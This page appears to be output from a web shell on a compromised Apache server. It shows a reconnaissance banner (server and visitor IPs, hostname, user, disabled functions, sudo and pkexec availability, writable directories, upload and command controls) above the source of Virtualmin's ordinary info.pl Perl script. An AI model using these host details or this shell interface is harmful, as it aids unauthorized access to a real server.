Private
Server IP : 195.201.23.43  /  Your IP : 18.220.112.188
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/virtual-server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/virtual-server/info.pl
#!/usr/bin/perl

=head1 info.pl

Show general information about this Virtualmin system.

This command is useful when debugging or configuring a system that you
don't know much about, to fetch general information about Webmin, Virtualmin,
IP usage and installed programs.

By default it outputs all available data, most of which is generated by
Virtualmin's background collection job that runs every 5 minutes. However,
you can limit it to a subset by adding command like parameters corresponding
to sections of the full output, for example:

 ~# virtualmin info host
 host:
    hostname: hostname.example.com
    module root: /usr/share/webmin/virtual-server
    os: Ubuntu Linux 22.04.2
    root: /usr/share/webmin
    theme version: 21.10
    virtualmin version: 7.9.0.pro-1
    webmin version: 2.105
=cut

package virtual_server;
if (!$module_name) {
	$main::no_acl_check++;
	$ENV{'WEBMIN_CONFIG'} ||= "/etc/webmin";
	$ENV{'WEBMIN_VAR'} ||= "/var/webmin";
	if ($0 =~ /^(.*)\/[^\/]+$/) {
		chdir($pwd = $1);
		}
	else {
		chop($pwd = `pwd`);
		}
	$0 = "$pwd/info.pl";
	require './virtual-server-lib.pl';
	$< == 0 || die "info.pl must be run as root";
	}

while(@ARGV > 0) {
	local $a = shift(@ARGV);
	if ($a eq "--help") {
		&usage();
		}
	elsif ($a eq "--search") {
		push(@searches, shift(@ARGV));
		}
	elsif ($a eq "--multiline") {
		$multiline = 1;
		}
	else {
		push(@searches, $a);
		}
	}

$info = &get_collected_info();
%tinfo = &get_theme_info($current_theme);
$info->{'host'} = { 'hostname', &get_system_hostname(),
		    'os' => $gconfig{'real_os_type'}.' '.
			    $gconfig{'real_os_version'},
		    'webmin version' => &get_webmin_version(),
		    'virtualmin version' => $module_info{'version'},
		    'theme version' => $tinfo{'version'},
		    'root' => $root_directory,
		    'module root' => $module_root_directory,
		  };
$info->{'status'} = $info->{'startstop'};
foreach $s (@{$info->{'status'}}) {
	delete($s->{'desc'});
	delete($s->{'longdesc'});
	delete($s->{'links'});
	delete($s->{'restartdesc'});
	delete($s->{'startdesc'});
	delete($s->{'stopdesc'});
	}
delete($info->{'startstop'});
delete($info->{'quota'});
delete($info->{'inst'}) if (!@{$info->{'inst'}});
delete($info->{'poss'}) if (!@{$info->{'poss'}});
delete($info->{'vposs'}) if (!@{$info->{'vposs'}});
delete($info->{'fextra'});
delete($info->{'fhide'});
delete($info->{'fmax'});
foreach my $k (keys %$info) {
	delete($info->{$k}) if (!&info_search_match($k));
	}
&recursive_info_dump($info, "");

sub recursive_info_dump
{
local ($info, $indent) = @_;

# Dump object, depending on type
if (ref($info) eq "ARRAY") {
	foreach $k (@$info) {
		print $indent,"* ";
		if (ref($k)) {
			print "\n";
			&recursive_info_dump($k, $indent."    ");
			}
		else {
			print $k,"\n";
			}
		}
	}
elsif (ref($info) eq "HASH") {
	foreach $k (sort { $a cmp $b } keys %$info) {
		print $indent,$k,": ";
		if (ref($info->{$k})) {
			print "\n";
			&recursive_info_dump($info->{$k}, $indent."    ");
			}
		else {
			print $info->{$k},"\n";
			}
		}
	}
else {
	print $indent,$info,"\n";
	}
}

sub info_search_match
{
local ($i) = @_;
if (@searches && !ref($i)) {
	foreach my $s (@searches) {
		return 1 if ($i =~ /\Q$s\E/i);
		}
	return 0;
	}
return 1;
}

sub usage
{
print "$_[0]\n\n" if ($_[0]);
print "Displays information about this Virtualmin system.\n";
print "\n";
print "virtualmin info [--search cpu|disk_free|disk_fs|disk_total|disk_used|fcount|ftypes|host|io|ips|ips6|kernel|load|maxquota|mem|poss|procs|progs|reboot|status|vpos]\n";
exit(1);
}

Private